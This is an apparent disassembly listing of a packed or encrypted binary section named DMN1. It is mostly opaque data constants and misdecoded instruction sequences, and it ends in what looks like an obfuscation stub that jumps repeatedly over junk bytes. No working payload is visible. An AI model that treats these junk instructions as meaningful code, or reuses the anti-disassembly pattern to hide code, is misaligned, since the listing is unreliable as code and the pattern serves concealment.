		dd 983EB31h, 2CD23212h,	11D2BB10h, 6FAFEEF8h, 2A36AC0Eh
		dd 0CB85B8B7h, 5102C6DCh, 82FDD02Eh, 0CCBEBA72h, 2227A28Fh
		dd 0F36AA1C3h, 0CFA49D16h, 0F314AFA1h, 0C57054EBh, 0C4F401E5h
		dd 19C420BEh, 636961CEh, 0F1C4963Bh, 3C65DD1Eh,	389ADADAh
		dd 7DEA2933h, 0A9D8458h, 58409ED5h, 722B42ECh, 0B48E96B6h
		dd 92333E0Ah, 0B71F8AFDh, 2A0C9A24h, 8804B6A1h,	162D487Eh
		dd 4A77F68Ch, 7635E043h, 0A0505798h, 0D77693CBh, 4BAF14ADh
		dd 9FEF2A02h, 72BCFD69h, 0C7A53495h, 3A3753D6h,	342E85FCh
		dd 1CB27E70h, 0D3351104h, 96D12F9Eh, 0F9DC3119h, 0D00F6136h
		dd 86D66449h, 0D50D28FDh, 0B7FB8C75h, 8A55AB29h, 46BE076Ch
		dd 5B2FF183h, 0E0B1C0A1h, 0A3F27F4Bh, 5ABB1231h, 51121D8Ch
		dd 9086947Fh, 0B1A721C2h, 0EE32E68h, 5A012CAh, 758B5F1Bh
		dd 0F948937Dh, 4AA1437Dh, 322C6BFEh, 58BE0F6Ch,	8A32AFCDh
		dd 0BDC281C2h, 60DB94ABh, 5A26EEACh, 59AA250h, 0C955DE0Ah
		dd 0A202C217h, 5CDE207Bh, 0CBA4535Fh, 0F708CA1h, 840BBD4Eh
		dd 0F76D31ECh, 4BF4D2E1h, 0BE18124Fh, 0E72132B3h, 59E0252Ah
		dd 0CF119A38h, 1E4B67A5h, 0E99D2A9Ah, 0E80D23FFh, 3D0673BFh
		dd 24B039F9h, 12C45C82h, 0F69402D1h, 381C7D19h,	9B4894F0h
		dd 0CC694BC9h, 0F9401BCAh, 71FFA57Ch, 3BA18C52h, 0FA0D47F5h
		dd 1F128A31h, 859BA770h, 7B28432Dh, 414C3EFBh, 53C8B497h
		dd 9231ABFDh, 0C3476943h, 84375D9Bh, 19EDA758h,	7EF98C7Ah
		dd 8184C1B0h, 9486EAE4h, 42960945h, 11F5B949h, 726BB298h
		dd 0EBB59D2Dh, 72891D02h, 0EDBBE587h, 7580AA24h, 16ACB671h
		dd 0F07EF986h, 0DD6ADF53h, 0B2A143CAh, 47765972h, 0B755C870h
		dd 71C29392h, 0AEAE4139h, 45AB1474h, 6D9BCCE8h,	24AE7ED0h
		dd 805E60A1h, 0A2BB76F1h, 23382C4Ch, 9E62B91Dh,	1F2D78A3h
		dd 4937B67Ah, 72B310BCh, 0E45E0221h, 19C73178h,	8E4BB3C9h
		dd 2D9F7E65h, 0BC5B2049h, 0E011D55Dh, 67B9A39Fh, 8F2DBA5Ch
		dd 5DDEE48h, 90F45D77h,	97846AD4h, 8399F8FFh, 91D59A96h
		dd 5FA133A0h, 0EC1CFF4Ch, 831D44B1h, 0E0B84228h, 50910D8Dh
		dd 0BE493FF3h, 47D7BADEh, 3EA716D6h, 0F9981B82h, 0D05DD50Bh
		dd 0C0AD58F3h, 2749E39h, 1958A0A3h, 16F050A2h, 0EBE0048Dh
		dd 6A3DF189h, 8D1EDC6Bh, 921414B4h, 154CCE58h, 923876C3h
		dd 3F549078h, 0E7F2868Bh
		dd 9907F774h, 0B1745AF6h, 4BE26A56h, 4384B186h,	2592353Eh
		dd 0F8C2D688h, 2BB95705h, 60207BAFh, 0ACB17C73h, 0B78CF1C5h
		dd 462338FAh, 7FFAEF74h, 0F3AE268h, 22117DF8h, 2C8F8C6h
		dd 246B2245h, 0E93C3050h, 0F11F146h, 0F8B178B7h, 326EB0D8h
		dd 0E038F3F6h, 7041563Bh, 0A7644F76h, 2ED780A7h, 0F2E7F2CBh
		dd 112A826Ch, 0D56DB41Ch, 79F7E724h, 4FDD0E50h,	0D14467E7h
		dd 32CDA0D2h, 0A9DB9899h, 6A09DC9Fh, 0A8848B5Ah, 78836488h
		dd 0D8C6E7B6h, 9464287Ah, 9FB5E4EBh, 0C30C20FBh, 4CA1A12h
		dd 8EB07B68h, 0EA5EB63h, 773162Fh, 9DAC4177h, 8D3AB732h
		dd 8C0CD2F2h, 0C7924BA9h, 7CC7DB08h, 61FE55DEh,	0C5A6D529h
		dd 0A16294A5h, 2F07B98Ch, 0BC431C2Dh, 427E2609h, 7C7169EEh
		dd 9122CC2Ah, 2B8CFFDh,	4A348743h, 0D0696FDCh, 70104754h
		dd 3D1B075Fh, 0D447D1E1h, 1067625Bh, 0D15C2906h, 378C5712h
		dd 30CC7458h, 24757A8Fh, 56DF2F8Ah, 610703C4h, 0C5A38FA9h
		dd 0E18C0B24h, 0A8E5A94Eh, 85603F55h, 8DFFB4F2h, 18C80BC5h
		dd 0B98670A7h, 4404A575h, 0B9373F7Ah, 6EB98F9Ah, 469C8111h
		dd 62DF60D6h, 1CBEE89h,	3F66D2C7h, 0DD15089Ah, 0C02D68A8h
		dd 0E5CD6724h, 9CEFC17Ch, 0D869AC91h, 227AA03Ch, 0FE048852h
		dd 8C7C76B1h, 0CE4D1DA9h, 8BD5EA08h, 0C15F1575h, 2142A2D7h
		dd 6619BD47h, 0DFB04E35h, 0B147EC04h, 40BA09E3h, 0AE3DA736h
		dd 0F2980A9Eh, 620F9302h, 1541AFF9h, 0A4CE977h,	0B0C94E71h
		dd 8991F86Ch, 0D689E2FCh, 0B84B21AFh, 0CCD937BDh, 0C93B48EAh
		dd 0C2072DFFh, 65D338C3h, 0E9908ECFh, 0F485E0F9h, 7E60CDD1h
		dd 0CDAFB28Eh, 23FB59F4h, 8AA1A164h, 8FB275F2h,	5A02705h
		dd 4F771707h, 3B93DB1Bh, 3747D899h, 0F4B5FB0Ah,	0FA66F86Dh
		dd 272D0612h, 4B030A35h, 25DE8501h, 9D4F9AD5h, 0FCE8F6Bh
		dd 18DCEA4Dh, 1E21D4E1h, 4BFAF398h, 34E2EBBh, 0FBECAE3Ch
		dd 0DD745DE5h, 11FAEEA8h, 0CC577ECh, 0B5D2334Eh, 0F9C6B057h
		dd 4DC1DE58h, 0A4E29DEAh, 76C43563h, 0AA724732h, 0E8225DB7h
		dd 1BF2DA2Ch, 705EC619h, 0F5CC50C9h, 406A9AECh,	0C080A9BFh
		dd 9FA66F8Eh, 7CF71ACDh, 0D715CD5Bh, 333EE35Ah,	0A19D2156h
		dd 5BD30C8Ch, 664E8512h, 0B2031A2Dh, 0E5C5F39Fh, 7E11C080h
		dd 9C65FA52h, 0A628C2C2h, 0DD99C42Dh, 34507040h, 0F862BB3Ch
		dd 5405751Bh, 812C6340h, 905415D2h, 36068552h, 15EF9975h
		dd 573EE3DBh, 99840DA9h, 0C5C85549h, 5E339CA3h,	0E78F0622h
		dd 0EBDD8CA0h, 398E420Bh, 0EBD7F9B8h, 0E67C820Bh, 78706B29h
		dd 750FBA7h, 0BCF71F3Eh, 7A98D94Bh, 0ECCE53A5h,	0C237C2F2h
		dd 0D85B583Ah, 3B9F92FFh, 3E285305h, 89DDBC53h,	29149F66h
		dd 6BAF1ECDh, 761101B4h, 20FCC4DDh, 87905F5Ah, 758D167Ch
		dd 0EA87D589h, 45EC6E56h, 6DD3BFC0h, 57FDD944h,	0CBE5A49Eh
		dd 0D3108921h, 0EB7C9AA5h, 6C058167h, 0FF4FBB0Dh, 0A53E196h
		dd 644BF7B3h, 0E853D454h, 0A03DF3B3h, 0F5C46Ch,	0A29B1D32h
		dd 124DE6A9h, 4421B448h, 2957CE59h, 0F6462BEh, 0FCAB3996h
		dd 0C4007861h, 9F2D1FE1h, 26F1BA4Bh, 25EA33D7h,	363BE3A3h
		dd 9B79C6BEh, 1FBAE8F9h, 0D012263Bh, 868021C9h,	0D08C6CAFh
		dd 928293EBh, 0CFB6087Ah, 6DCDD845h, 5DD722A1h,	0BD7F0F83h
		dd 0C808CC46h, 0B8929CC3h, 7964CC91h, 990DE445h, 0BFF4EADFh
		dd 50B5D9BEh, 0F90E0180h, 2232737h, 793D6C2Ah, 9B35C659h
		dd 6407822Eh, 64402D54h, 0AB154F94h, 0B7D8E6D7h, 5C6D15E3h
		dd 47817193h, 0A8E25CFAh, 27A742FFh, 2992DDCBh,	0B487A87h
		dd 300F52BCh, 0E427D1Dh, 3C34CD7Ch, 3802A301h, 9EB9D639h
		dd 4A4629BAh, 48103253h, 4EC76DB8h, 8EC961A5h, 0EDC34BCDh
		dd 0A6C1FCAh, 85B8FA1Dh, 92B815C9h, 1964425Fh, 0FDE63936h
		dd 0D2FE2ADAh, 0A148D0E3h, 1953AD5Bh, 3CAA8A6h,	1D445A5Dh
		dd 7EE06B43h, 0F4BDA189h, 61660524h, 52728196h,	5C56F9D3h
		dd 0C02CB337h, 0B1424E5Ah, 30A63A8Eh, 54999CBDh, 0D58FC061h
		dd 92B2D219h, 58CAAA32h, 0F201804Ch, 0BA0CB817h, 0FF8D2555h
		dd 453BA895h, 0BD91Fh, 227B6887h, 0ABFC6C03h, 7C90FDA8h
		dd 73D229B8h, 0AB33D1D8h, 48FECE50h, 78469264h,	0F725F0BEh
		dd 63A526D5h, 6FDC7BFh,	34B1F3EDh, 0EAFF56D1h, 0FC893B2Dh
		dd 287D0174h, 23ED2C1Ah, 333EB10Eh, 0F30E83D5h,	51B7B005h
		dd 97AC2C11h, 9E3611DDh, 0A3BB042Dh, 0E4F66539h, 80BEF434h
		dd 715C4EACh, 7A26C5C3h, 54EC320Ah, 0EB304F8Bh,	29FD878Ah
		dd 80488F29h, 0BC942EE8h, 6579D29Ch, 46441032h,	67BEDF79h
		dd 0E8F600FCh, 9E2FBF58h, 301C45C8h, 0BE7ECB4Fh, 0E4295079h
		dd 706C9F0Eh, 0D974233Fh, 0C33E1168h, 135C8DE9h, 0D567801Ch
		dd 85D8C709h, 8E28640Eh, 188878C0h, 1DC500A6h, 39E7F91Eh
		dd 112BE1E1h, 3E014219h, 3CD91E68h, 0A837C2FFh,	0B6EC5D48h
		dd 9EE262CCh, 0E3185FA1h, 8A67815Fh, 0A56AAAF7h, 725CB6B2h
		dd 672152BAh, 0F47832FFh, 50CA1BA8h, 1B6C1E25h,	59DD825Bh
		dd 58B5DE7Fh, 0E3B76D98h, 5F8A55CBh, 358EB502h,	0FB92BFA0h
		dd 5CBE1CDBh, 2A47E893h, 21F7B610h, 72C6C6A5h, 9EF18FA7h
		dd 0ED93079Ah, 12A5D874h, 0E4CA3A6Ah, 67893DE0h, 0E7014074h
		dd 0F0ED7D7Ah, 18DC1534h, 7D6BB250h, 0C85F65BEh, 4BA725C8h
		dd 48118A5h, 0F8659F9Fh, 44FC9D9Eh, 513613AAh, 0B8F2F577h
		dd 63EFB743h, 0B6CAD632h, 11F4A729h, 69FED0ECh,	0E61B3447h
		dd 1F8F775h, 67C15990h,	6C6E5692h, 0C3D2890Ah, 2E936376h
		dd 0E2D7AA90h, 2FB44B72h, 65EAB6Dh, 6BD8EC1Ch, 0B5A2DBFFh
		dd 0D39DA5C6h, 98943444h, 0CDFA0BE7h, 0C4AC7BD5h, 1A66F514h
		dd 2B4BCDDBh, 0C2DCB028h, 6AE4EDDh, 730FA2A4h, 0C5CE85EEh
		dd 51CF2F64h, 8107CDE2h, 0E3DE3ADAh, 9A15A8C7h,	5647A36Dh
		dd 8F5B9826h, 6691790h,	258BDBA7h, 2DD84B0Bh, 0C6BCE82Fh
		dd 3C579B5Dh, 9EF7CC94h, 0B6E31C8Eh, 7CC5E88Fh,	7C6BF59Bh
		dd 479985C0h, 0DF9D0009h, 7445241Eh, 0D035C34Eh, 0C33F436h
		dd 0A2D430D3h, 3A0BF984h, 5004AC10h, 30AFFF80h,	862B9583h
		dd 9C5D53EEh, 0A840333Fh, 1437AE2Eh, 8A8EDAF9h,	2C1E99E6h
		dd 7112CBFCh, 29B5F3ABh, 30AEC771h, 0B2750E3Fh,	50BFE695h
		dd 95C9F41Eh, 0E5C2D60Eh, 0C90D0C9h, 533C3D60h,	0EDDA3F96h
		dd 5A6D548h, 0D2AFF1B4h, 33DF0A20h, 0F9698634h,	0F31E83BFh
		dd 0A2CFAF42h, 823A1B02h, 90380254h, 0EDACF0DEh, 0A6BE3DE4h
		dd 0A1DCC779h, 0A5D8EC55h, 0CB65DF51h, 6280BEFEh, 74324B6Fh
		dd 82E5BAA4h, 0ABD2EE43h, 9F236A3Bh, 96BFE27Fh,	9DB87E61h
		dd 389832FFh, 9EEA4057h, 80624486h, 6AD041D8h, 4EE1BB31h
		dd 0C3F039EDh, 3CA7C662h, 0B62C6703h, 7040D027h, 42329252h
		dd 51F5946Ch, 0E23F0466h, 0AC1E1963h, 221BC8B3h, 348E7C6Ch
		dd 0CCC5F464h, 5C78A9D9h, 767DA098h, 7CDEA32Dh,	376585DDh
		dd 0F6C4E755h, 7DBABC09h, 3DBC5719h, 3FD4D872h,	0B62F7ADAh
		dd 35FD7684h, 315A8BF4h, 0DD1FE945h, 14BB6002h,	0FEA7C25h
		dd 4CCEE3D1h, 0EBD60B98h, 85EE2069h, 7DB71772h,	0AB29DC43h
		dd 0F9A2C537h, 89CF1C50h, 0B89B3DE4h, 7CFC23CCh, 0EEAFB7DEh
		dd 0E83AF9B6h, 397A3B2Eh, 0A2303622h, 4B00FB44h, 67F84836h
		dd 20D571DDh, 96B7977Fh, 0BC572587h, 0D2B2861Ah, 0F7187C26h
		dd 47EA0139h, 0AF5BC68Ah
		dd 0FCE9B92Bh, 0DB19B6C3h, 97DF93A3h, 95BC99E3h, 0BAC356DBh
		dd 0DD0C6D49h, 9FD4FC53h, 0A4B3CB44h, 0DDCC469Fh, 9942A3C3h
		dd 7BAA8305h, 6DBDCC42h, 0B8FF29C2h, 0E18493F3h, 319FA289h
		dd 0A9886BFDh, 0AB9BA798h, 9445BADAh, 3F692409h, 8F4B0E83h
		dd 0F77904B3h, 628C6F18h, 0C3F5FB8Bh, 794E5EC6h, 9166DAB1h
		dd 2BBEA9D6h, 0BC7BB23Bh, 0C019E764h, 806F35D3h, 6191717Bh
		dd 7A7DE89Bh, 216E4239h, 3F15D984h, 8FE2FF2Ah, 7BDE0DAAh
		dd 0B56CB79h, 165DD778h, 701F3C8Ah, 0BB0E624Bh,	0EBCB9039h
; ---------------------------------------------------------------------------


loc_466EEC:				; CODE XREF: DMN1:00467F06j
		cli
		mov	ds:0B3F2E503h, eax
		mov	ecx, 59411B3Dh
		and	al, 1
		shr	ch, cl
		arpl	cs:[edx], cx
		movsd
		pop	esi
		sbb	eax, 14DACB6Dh
		dec	ecx
		xchg	eax, ebx
		scasd
		add	al, 4Dh
		pop	edi
		db	36h
		loope	loc_466F51
		inc	edi
		adc	ch, [ebx-3Fh]
		pop	ds
		sahf
		arpl	[edi-61h], ax
		retf
; ---------------------------------------------------------------------------
		dd 0FCB6F22Fh, 177D25Eh, 4787C43Ch, 8E5054A2h, 4CF6963Dh
		dd 83961D36h, 0C096E278h, 0D5A7DB0Eh, 0C7C34B57h, 0B5DC4B85h
		dd 8AC897BAh, 0E480E1Ch, 6338FB29h, 0D582EF77h
		db 0EFh
; ---------------------------------------------------------------------------


loc_466F51:				; CODE XREF: DMN1:00466F0Bj
		cmpsb
		setalc
		lds	edi, [ecx+7D003B16h]
		add	[ebp+eax*4-22D5FD8Bh], esp
		and	esi, 0FFFFFFD3h
		stosd
		or	[ebx+75h], esp
		scasd
		clc
		cmp	esp, [ecx+25h]
		jbe	short near ptr loc_466FB5+2
		loop	loc_466FB5
		cmp	cl, bl
		dec	edx
		popf
		inc	eax
		call	far ptr	30C7h:0BFEBD454h
		cmp	bh, dh
; ---------------------------------------------------------------------------
		dw 0BF8Fh
		dd 0BC65AAF7h, 413314B5h, 461183B3h, 805AD827h,	0DBB75FFBh
		dd 0B2A23136h, 19168655h, 770A83D8h, 365CC832h,	1B2CF888h
		dd 0DAB41910h, 0BB2C8D52h, 5EAB0D8Fh
		db 0B1h
; ---------------------------------------------------------------------------


loc_466FB5:				; CODE XREF: DMN1:00466F6Ej
					; DMN1:00466F6Cj
		mov	esp, 0A89E5E98h
		inc	ebx
		db	65h
		sub	al, 0EEh
		ja	short loc_467032
		push	esp
		mov	ah, 8
		mov	edi, 0A7DA6079h
; ---------------------------------------------------------------------------
		dd 0CBDD208Fh, 0EA1E3872h, 2CE325DCh, 0D7AE3D2Eh, 877E1C15h
		dd 3CE72939h, 298308A3h, 1CF21FB3h, 40757205h
		db 0FBh, 3Dh
; ---------------------------------------------------------------------------


loc_466FEE:				; CODE XREF: DMN1:loc_467032j
		or	byte ptr [edx+ecx], 74h
		xor	al, 0D0h
		jmp	short near ptr loc_467067+4
; ---------------------------------------------------------------------------
		dw 81A9h
		dd 0BCD88CDAh, 899715ECh, 5DC5ABE1h, 8A7931C7h,	0DADE96Dh
		dd 0A393BE53h, 0E25B946Ah, 4E372B69h, 0E0FE9653h, 0E0680E78h
		dd 96F46B89h, 5A85BEBBh, 16B037DCh, 352C92E0h
; ---------------------------------------------------------------------------
		or	dh, [edx]


loc_467032:				; CODE XREF: DMN1:00466FBEj
		jle	short loc_466FEE
		inc	edi
		lea	esi, [ebp+5212137Ah]
		test	al, 8
		mov	byte ptr [edi],	60h
		push	edi
		call	near ptr 1B7ED47h ; CODE XREF: DMN1:0046709Fj
		and	[eax], ch
		add	esi, [ecx-43h]
		add	ebx, [ebx+3BB50361h]
		mov	bl, 74h
		jbe	short near ptr loc_46707C+1
		rcr	byte ptr [edi-1E5806E4h], 1
		cmpsd
		or	[eax+ebx*4-5Dh], dl
		sub	[ebx], ecx
		add	[ebx], bh
		mov	al, 0AAh
		daa


loc_467067:				; CODE XREF: DMN1:00466FF4j
		or	eax, 65A34D8h
		and	[eax+esi*4+4A818CAh], dh
		and	[ecx+15h], bh
		or	[edx-0BF773F8h], esp


loc_46707C:				; CODE XREF: DMN1:00467053j
		xchg	ecx, ebx
		add	eax, 42FD699Bh
		pop	ebp
		inc	eax
		dec	ebp
		xchg	eax, ebp
		fsubr	qword ptr [edi-7E466EDCh]
		mov	bh, 1Fh
		aam	2Bh
		bound	esp, [eax]
		jno	short loc_4670EF
		bound	eax, [ebx]
		ficom	dword ptr ds:760F2AC3h
		mov	cl, 26h
		jz	short near ptr loc_467041+3
		push	ds
		in	al, 0A9h	; Interrupt Controller #2, 8259A
		out	dx, al
		pop	ecx
		or	eax, 0A60E60D2h
		retf
; ---------------------------------------------------------------------------
		dd 0CE185251h, 9F42A958h, 7752468Bh, 47F3415Bh,	0D4A071A0h
		dd 0F8C82FD4h, 1EEEA619h, 0C5AB3C57h, 2EF15DDEh, 0B9216751h
		dd 34C139A3h, 6354FEECh, 94E2412Ch
		db 13h
; ---------------------------------------------------------------------------


loc_4670E1:				; CODE XREF: DMN1:0046711Cj
		daa
		outsd
		xchg	eax, edx
		pushf
		jge	short loc_46714D
		dec	ebx
		pminsw	mm5, qword ptr [eax-4A2D00B9h]


loc_4670EF:				; CODE XREF: DMN1:00467093j
		push	edx
		mov	eax, 1F96C039h
		inc	ecx
		dec	ecx
		or	eax, 0F34B63AAh
		jno	short loc_46712C
		mov	edi, 95C5689Ah
		in	eax, dx
; ---------------------------------------------------------------------------
		dd 47A73B8Eh, 247DEFDDh, 3BC477Bh, 8A059DB6h
; ---------------------------------------------------------------------------


loc_467114:				; CODE XREF: DMN1:00467160j
		js	short near ptr loc_46713C+4
		mov	ebx, 94DBAB3Fh


loc_46711B:				; CODE XREF: DMN1:0046716Ej
		dec	eax
		jl	short loc_4670E1
		push	863CD680h
		push	ecx
		fdiv	st, st(2)
		clc
		push	0E9454D42h


loc_46712C:				; CODE XREF: DMN1:004670FCj
		mov	edi, 0A119BC51h
		xchg	eax, edx
		popf
		inc	edi
		faddp	st(1), st
		test	eax, 1D1647FDh	; CODE XREF: DMN1:00467170j
		clc


loc_46713C:				; CODE XREF: DMN1:loc_467114j
		mov	ds:0A89DE23Eh, al
		jle	short loc_4671A1
		cmp	al, 0FDh
		fnsave	byte ptr [ebp-6D4714B6h]
		dec	ebx
		std


loc_46714D:				; CODE XREF: DMN1:004670E5j
		in	al, 0A5h	; Interrupt Controller #2, 8259A
		dec	esp
		lds	edx, [si-37h]
		enter	35E5h, 0E0h
		pop	ss


loc_467159:				; CODE XREF: DMN1:004671ACj
		cmc
		inc	edi
		dec	eax
		inc	ebx
		add	[eax+edx*4], eax
		jo	short loc_467114
		int	0F5h
		sbb	esi, [eax+6E458613h]
		nop
		lodsb
		mov	ah, 0B1h
		jz	short loc_46711B
		jnb	short near ptr loc_467136+3
; ---------------------------------------------------------------------------
		dw 7F8Fh
		dd 0F76CEC4Ch, 75D99ADBh, 9800E312h, 0B583DC02h, 0F7EFFC53h
		dd 55149619h, 77B5F5C2h, 35C119B6h, 2E4363Fh, 7A1D32E1h
		dd 0F184ACB0h
		db 0B1h
; ---------------------------------------------------------------------------


loc_4671A1:				; CODE XREF: DMN1:00467141j
		mov	[edi+67h], esp
		or	esi, [edx-42h]
		test	[ebp-62h], ah
		inc	eax
		insd
		jb	short loc_467159


loc_4671AE:				; CODE XREF: DMN1:004671B5j
		adc	al, 5
		sal	bh, 9Dh
		push	ds
		pop	edi
		js	short loc_4671AE
		jg	short loc_467228
		out	dx, eax
		or	al, 48h
		adc	al, 12h
		xchg	ecx, [ebp-2FE0BB11h]
		jns	short near ptr loc_46723A+1
		das
		pop	edi
		insd
		mov	ah, 4Eh
		cmp	ecx, [edx]


loc_4671CD:				; CODE XREF: DMN1:0046722Dj
		int	84h
		xor	eax, 0CD67F949h
		int	0A8h		; used by BASIC	while in interpreter
		sbb	bh, al
		test	eax, 6313A78Fh
		push	es
		adc	eax, [edx]
		mov	[ebx+1Bh], bh
		popf
		call	near ptr 0B179F503h
		add	al, 7Ch
		fadd	st, st(2)
		and	al, bl
		mov	ah, 80h
		pop	esi
		db	3Eh
		pop	edx
		db	2Eh
		wait
		bound	edx, [esp+64h]
		test	dword ptr [eax+38h], 57EA70C3h
		mov	ch, 0CEh	; CODE XREF: DMN1:00467245j
		add	dl, [esi]
		call	near ptr 0E8EB870Eh
		outsb
		mov	ebp, 67F1DE3Fh
		imul	edx
		xchg	eax, ecx
		mov	dl, 4Eh
		sal	dh, 1
		lodsb
		dec	eax
		cli
		rcr	byte ptr [ecx],	1
		dec	ebx
		retf	988Ah
; ---------------------------------------------------------------------------
		db 0ECh, 32h, 0A1h
		dd 0EF2ED85Bh
; ---------------------------------------------------------------------------


loc_467228:				; CODE XREF: DMN1:004671B7j
		push	ebx
		arpl	[eax+26h], cx
		lodsb
		jge	short loc_4671CD
		xchg	eax, ebp
		call	near ptr 0B59BF137h
		mov	ebx, 0EC623A7Fh


loc_46723A:				; CODE XREF: DMN1:004671C4j
		fidiv	dword ptr [esi]
		mul	dword ptr [ecx+esi*8+1CC96308h]
		dec	edi
		push	ebx
		jnp	short near ptr loc_467202+1
		iret
; ---------------------------------------------------------------------------
		dd 0C21154ADh, 0C48BD93Fh, 0CE3EC956h, 20D93B05h, 5659EBF9h
		dd 7D7EC9D4h, 0FAFBA18h, 0D253B368h, 0DC4A4C1Dh, 9218205Bh
		dd 0B892D7DFh, 147B82AFh, 2C7AFA2Ah, 8B86766Fh,	0BB445BBDh
		dd 0CB85A915h, 76296616h, 9C2BAE09h, 0D01B62D0h, 26990344h
		dd 0C06A75DFh, 547D8D5Fh, 0AA0B2716h, 56C2C777h, 0B35C31B4h
		dd 0E3A9F4E3h, 0CEEC2AF7h, 0B5D4F59h, 0ED497225h, 0C9B5B975h
		dd 29EE31ABh, 0BF684CE1h, 0F82F806Fh, 55AC0C90h, 0B7994C25h
		dd 0E199FC37h, 0E8287B27h, 5544783Ch, 6D22641Ah, 0B0E35BAAh
		dd 50449B8Ah, 325EA19Eh, 0B824783Fh, 85F03CEh, 0B002AA02h
		dd 0D4FD8530h, 19282C01h, 42665E44h, 437CD047h,	0B432A16Ch
		dd 0CC0DB657h, 63B79AABh, 7AB8B3C3h, 97A948FCh,	69998995h
		dd 4E838243h, 978ACD63h, 30358B4Ch, 3B6C363Ah, 52219A6Ch
		dd 0A093C470h, 4A17CC18h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [esp+8]
		mov	ebp, eax
		pusha
		mov	eax, 0CD42DC15h
		push	eax
		jmp	short loc_467370
; ---------------------------------------------------------------------------
		dw 0B4B2h
		dd 2DD9AB3Bh, 7AB6A6CCh, 0DA5A620Dh, 86455BE9h,	65411322h
		dd 2873BE74h, 62DD0850h
; ---------------------------------------------------------------------------


loc_467370:				; CODE XREF: DMN1:00467350j
		xchg	ecx, esi
		xchg	edx, ecx
		jmp	short loc_46737F
; ---------------------------------------------------------------------------
		dw 6B35h
		dd 1DBEDEE3h
; ---------------------------------------------------------------------------
		push	ds
		xlat
		inc	ebp


loc_46737F:				; CODE XREF: DMN1:00467374j
		cmc
		jmp	short loc_46739C
; ---------------------------------------------------------------------------
		dw 865Ch
		dd 3904A718h, 50EDC12Ch, 36C64CB4h, 0ECDD9D26h,	0FFF0729Eh
		dd 0C3EA0516h
; ---------------------------------------------------------------------------


loc_46739C:				; CODE XREF: DMN1:00467380j
		cmc
		clc
		clc
		jmp	short loc_4673AB
; ---------------------------------------------------------------------------
		db 3Ah,	41h, 81h
		dd 3B9AA2CEh
; ---------------------------------------------------------------------------
		fcom	qword ptr [ecx]
		push	es


loc_4673AB:				; CODE XREF: DMN1:0046739Fj
		jmp	short loc_4673C7
; ---------------------------------------------------------------------------
		db 0A7h, 45h, 9Ch
		dd 7DC06F9Fh, 16194A6Ah, 0B29AFB63h, 0E9EAD44Dh, 94B43B14h
; ---------------------------------------------------------------------------
		and	bl, [ebp+52h]


loc_4673C7:				; CODE XREF: DMN1:loc_4673ABj
		neg	ebx
		jmp	short loc_4673D8
; ---------------------------------------------------------------------------
		db 41h
		dd 6173911Fh, 0D7F8D778h, 0D9972EE6h
; ---------------------------------------------------------------------------


loc_4673D8:				; CODE XREF: DMN1:004673C9j
		jmp	short $+2
		test	eax, 42D53FC2h
		xor	edi, edi
		jmp	short loc_4673E8
; ---------------------------------------------------------------------------
		dd 0FDACD2E1h
; ---------------------------------------------------------------------------


loc_4673E8:				; CODE XREF: DMN1:004673E2j
		jmp	short loc_4673FF
; ---------------------------------------------------------------------------
		dw 0BCEDh
		dd 122D6218h, 0F3A9C4B0h, 71E9D8Fh, 0A03CA06Fh
		db 93h,	0EEh, 5Fh
; ---------------------------------------------------------------------------


loc_4673FF:				; CODE XREF: DMN1:loc_4673E8j
		xchg	ecx, eax
		jmp	short loc_46741D
; ---------------------------------------------------------------------------
		db 6Ch
		dd 0ADDE08BDh, 772D9D76h, 0D5424258h, 1C7B38A8h, 0E4E09301h
		dd 1151D5B6h
		db 80h
; ---------------------------------------------------------------------------


loc_46741D:				; CODE XREF: DMN1:00467401j
		jmp	short loc_46742D
; ---------------------------------------------------------------------------
		db 0F4h
		dd 28DFCEAh, 0B9B93E1Ch, 0E3BFA3F8h
		db 38h
; ---------------------------------------------------------------------------


loc_46742D:				; CODE XREF: DMN1:loc_46741Dj
		jmp	short loc_467442
; ---------------------------------------------------------------------------
		db 0E1h
		dd 14A75839h, 29977F7Ch, 0DE6A7108h, 0CCF5F27Bh
		db 61h,	80h
; ---------------------------------------------------------------------------


loc_467442:				; CODE XREF: DMN1:loc_46742Dj
		bswap	eax
		neg	ecx
		add	edi, 31000h
		jmp	short loc_46746B
; ---------------------------------------------------------------------------
		and	[esi-22CE10ADh], edi
		cmp	al, 5Eh
		retf	0FEEDh
; ---------------------------------------------------------------------------
		db 58h,	0F4h, 4Bh
		dd 62F616B8h, 0C98B2B41h, 55D8846Bh
		db 0B1h, 41h, 6Eh
; ---------------------------------------------------------------------------


loc_46746B:				; CODE XREF: DMN1:0046744Cj
		xor	ebx, 73260473h
		jmp	short loc_46748C
; ---------------------------------------------------------------------------
		db 62h
		dd 9AFD22D9h, 1785BC27h, 0DA97FEFEh, 3BD21570h,	47B1AEFEh
		dd 79972582h
; ---------------------------------------------------------------------------


loc_46748C:				; CODE XREF: DMN1:00467471j
		jmp	short loc_4674AB
; ---------------------------------------------------------------------------
		dw 4C8Eh
		dd 710C20C8h, 3C60F256h, 1ABACE1Ah, 727316EDh, 64B72FCFh
		dd 92644B25h
		db 1, 83h, 0B3h
; ---------------------------------------------------------------------------


loc_4674AB:				; CODE XREF: DMN1:loc_46748Cj
		xchg	eax, ebp
		xchg	ebp, edi
		jmp	short loc_4674CE
; ---------------------------------------------------------------------------
		db 0F2h, 0B5h, 0E2h
		dd 103677E1h, 0DC6D2BF5h, 0E7726C8Ch, 0F0DE6CB6h, 0B3FD2A59h
		dd 0B6AA6C08h
		db 0F7h, 0BEh
; ---------------------------------------------------------------------------


loc_4674CE:				; CODE XREF: DMN1:004674AFj
		jmp	short loc_4674E1
; ---------------------------------------------------------------------------
		db 90h
		db 12h,	0F9h, 0D5h
		dd 2A5062B0h, 0E10BBD2Fh, 0EE1201A3h
		db 33h
; ---------------------------------------------------------------------------


loc_4674E1:				; CODE XREF: DMN1:loc_4674CEj
		sub	edx, edx
		jmp	short loc_467504
; ---------------------------------------------------------------------------
		db 0D0h, 10h, 45h
		dd 4DF6F80Eh, 23B2005Bh, 5FD0C454h, 4E657DF8h, 0DA43262Eh
		dd 0DD0F8BCCh, 2F5FBAABh
; ---------------------------------------------------------------------------


loc_467504:				; CODE XREF: DMN1:004674E3j
		xchg	edi, ebx
		jmp	short loc_467515
; ---------------------------------------------------------------------------
		dd 1DCCAA30h, 3F08BC5h,	0C16C2833h
; ---------------------------------------------------------------------------
		dec	edi


loc_467515:				; CODE XREF: DMN1:00467506j
		jmp	short loc_46751A
; ---------------------------------------------------------------------------
		db 9Dh
		db 68h,	0B1h
; ---------------------------------------------------------------------------


